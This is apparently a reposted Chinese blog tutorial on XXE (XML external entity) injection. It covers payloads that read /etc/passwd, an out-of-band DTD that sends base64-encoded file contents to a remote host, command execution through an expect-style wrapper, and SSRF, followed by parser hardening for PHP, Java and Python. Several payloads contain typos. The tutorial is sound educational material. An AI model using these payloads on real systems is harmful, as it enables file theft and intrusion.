WEB安全番外第三篇--关于XXE
Posted 挖洞的土拨鼠
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB安全番外第三篇--关于XXE相关的知识,希望对你有一定的参考价值。
一、什么是XXE
1、XML实体简介
(1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用。在XML中有一种结构叫做实体:
(2)一般其定义的标签关键字ENTITY,分为如下两种:
一般实体<!ENTITY entity_name "entity_text"> 引用实体&name
参数实体!ENTITY % entity_name "entity_text"> 引用实体%name
(3)此外还有两个概念内部实体、外部实体,内部实体如上就不赘述了,外部实体如下定义:
<!ENTITY name SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">
2、搞清楚了1中的内容,接下来我们来看XXE(XML External Entity)
说白了就是XML外部实体注入,通过构造输入中的XML部分,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
二、构造XXE进行利用
1、读取任意文件
(1)有回显的:
直接引用:
1 <?xml version = "1.0"?> 2 <!DOCTYPE ANY [ 3 <!ENTITY f SYSTEM "file:///etc/passwd"> 4 ]>
引入外部定义或声明来引用:
声明的:
1 <?xml verstion="1.0" encoding="utf-8"?> 2 <!DOCTYPE a[ 3 <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> 4 %f; 5 ]> 6 <c>&b<c>
定义的:
1 <?xml verstion="1.0" encoding="utf-8"?> 2 <!DOCTYPE a SYSTEM "http://www.m03.com/evil.dtd"> 3 <c>&b<c>
外部dtd文件如下:
1 <!ENTITY b SYSTEM "file:///etc/passwd">
当然外层会有java、php处理
(2)没有回显的,需要发送到远端服务器上:
1 <?php 2 $xml = <<<EOF 3 <?xml version = "1.0"?> 4 <!DOCTYPE ANY [ 5 <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/ resource=/etc/issue"> 6 <!ENTITY %dtd SYSTEM http://a.b.c.d/evil.dtd> 7 %dtd 8 %send 9 ]> 10 EOF; 11 $data = simplexml_load_STRING($XML) 12 #print_r($data) 13 ?>
远端服务器上evil.dtd:
1 <! ENTITY % all 2 "<! ENTITY % send SYSTEM \'http://a.b.c.d/?%file;\'>" 3 > 4 %all
然后通过远端把这个传过来的文件定义成实体,也就是外部实体,外层在处理。
2、命令执行:
具体参考一个PHP的,当然这里需要php安装插件:
1 <?php 2 $xml = <<<EOF 3 <?xml version = "1.0"?> 4 <!DOCTYPE ANY [ 5 <!ENTITY f SYSTEM "except://ls"> 6 ]> 7 <x>&f;</x> 8 EOF; 9 $data = simplexml_load_string($xml); 10 print_r($data); 11 ?> 12 /* 13 例子参靠源自: 14 作者:Pino_HD 15 链接:https://www.jianshu.com/p/7325b2ef8fc9 16 */
3、SSRF:
既然发起发起访问,name自然就可以SSRF、同样内网探测也可以。
4、对于不同程序语言
三、防御:
1、对开发语言配置禁用外部实体:
主要是
(1)PHP
1 libxml_disable_entity_loader(true);
(2)Java
1 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 2 dbf.setExpandEntityReferences(false);
(3)Python
1 from lxml import etree 2 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、禁用外部实体
3、及时升级相关组件、中间件、避免组件中有类似的漏洞
四、参考资料:
1、https://www.cnblogs.com/r00tuser/p/7255939.html
2、https://www.jianshu.com/p/7325b2ef8fc9
以上是关于WEB安全番外第三篇--关于XXE的主要内容,如果未能解决你的问题,请参考以下文章
WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF